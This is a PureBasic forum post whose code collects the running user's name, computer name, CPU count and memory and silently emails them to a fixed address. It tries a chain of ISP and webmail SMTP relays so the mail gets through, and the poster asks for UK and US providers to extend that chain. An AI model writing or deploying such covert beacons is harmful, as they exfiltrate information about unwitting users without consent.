PureBasic Forum
https://www.purebasic.fr/english/

Providers english and USA
https://www.purebasic.fr/english/viewtopic.php?f=7&t=73126
Page 1 of 1

Author:  SPH [ Thu Jul 04, 2019 3:54 pm ]
Post subject:  Providers english and USA

Code:
InitNetwork()


comp$= "User : " + UserName()+ #LF$ +"Computer name : " + ComputerName() + #LF$ +"NbCPUs : " + CountCPUs() + #LF$
comp$+ "Physical memory (MB) : " + Str(MemoryStatus(#PB_System_TotalPhysical) / (1024 * 1024))

If CreateMail(0, "", "test : "+message$)
  SetMailBody(0, comp$)
  AddMailRecipient(0, "isabelle.nopi@laposte.net", #PB_Mail_To)
  Resultat = SendMail(0, "smtp.orange.fr", 25, 0)
  If resultat=0
    Resultat = SendMail(0, "smtp.free.fr", 25, 0)
    If resultat=0
      Resultat = SendMail(0, "smtp.bouygtel.fr", 587, 0)
      If resultat=0
        Resultat = SendMail(0, "smtp.gmail.com", 587, 0)
        If resultat=0
          Resultat = SendMail(0, "smtp.sfr.fr", 465, 0)
          If resultat=0
            Resultat = SendMail(0, "smtp.sfr.fr", 587, 0)
            If resultat=0
              Resultat = SendMail(0, "ssl0.ovh.net", 993, 0)
            EndIf
          EndIf
        EndIf
      EndIf
    EndIf
  EndIf
EndIf



This code should not work because here in France, we do not have the same suppliers of Internet access.
Could you give me the name of your main internet providers in England and the USA?

Thank you 8)

Page 1 of 1 All times are UTC + 1 hour
Powered by phpBB © 2000, 2002, 2005, 2007 phpBB Group
http://www.phpbb.com/